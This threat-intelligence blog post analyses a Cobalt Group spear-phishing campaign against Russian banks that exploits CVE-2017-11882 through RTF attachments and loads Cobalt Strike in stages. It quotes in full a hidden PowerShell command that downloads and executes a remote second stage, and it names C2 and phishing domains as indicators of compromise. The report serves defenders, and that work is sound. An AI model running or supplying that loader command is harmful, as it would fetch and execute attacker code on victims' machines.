Last year November, we documented activities of the Cobalt Group using CVE-2017-11882. In December they were already setting up for their next campaign. Today, on January 16th, the first wave of spear phishing emails were delivered to the inboxes of Russian banks. Sadly, this time around, the group didn’t forget to BCC.
The emails were sent in the name of a large European bank in an attempt to social engineer the receiver into trusting the email. The emails were quite plain with only a single question in the body and an attachment with the name once.rtf. In other cases, we saw a file with the name u0417u0430u044fu0432u043bu0435u043du0438u0435.rtf attached to an email that was also written in Russian:
The emails were sent from addresses on the domains bankosantantder.com and billing-cbr.ru, which were both set up for this campaign specifically.
The attachment abuses CVE-2017-11882 to start PowerShell with the following command:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://22.214.171.124:80/a'))"
This command downloads and executes a second stage, which is also a PowerShell script, but encoded:
This script decodes to the third stage of the attack, another PowerShell script. This stage-three script is used to load a small piece of embedded shellcode into memory and run it like so:
The shellcode starts the Cobalt Strike stager in a new threat and starts it up. This stager will initiate connectivity with the C2 server to install the Cobalt Strike implant.
As shown, the stager beacons out to helpdesk-oracle.com, which was registered by a person using the email address firstname.lastname@example.org. This email address pointed us to another domain, which was registered on the same date and follows a similar pattern:
Right now, the server to which the domain help-desc-me.com points doesn’t seem to be active, nor have we seen any malicious samples connect to it. We have marked it as malicious and listed it in the IOCs below, as we believe it will be part of either a next stage of the attack shown above or used in the next wave of spear phishing emails.
Indicators of Compromise (IOC)
All of the IOCs listed below are also available in the RiskIQ Community Public Project located here: https://community.riskiq.com/projects/f0cd2fc9-a361-2a4c-4489-a21ddf98349b
We have not added the hashes of the staging scripts because they do not appear on the system itself—they live in memory during the initial stages of the attack.